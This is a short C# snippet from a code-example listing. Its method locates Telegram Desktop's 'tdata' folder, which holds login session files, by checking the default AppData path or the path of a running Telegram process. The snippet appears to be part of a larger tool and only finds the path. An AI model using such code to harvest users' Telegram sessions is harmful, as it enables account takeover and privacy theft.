Exemplo n.º 1
0
        // Get tdata directory
        private static string GetTdata()
        {
            string TelegramDesktopPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Telegram Desktop\\tdata";

            Process[] TelegramProcesses = Process.GetProcessesByName("Telegram");

            if (TelegramProcesses.Length == 0)
            {
                return(TelegramDesktopPath);
            }
            else
            {
                return(Path.Combine(
                           Path.GetDirectoryName(
                               ProcessList.ProcessExecutablePath(
                                   TelegramProcesses[0])), "tdata"));
            }
        }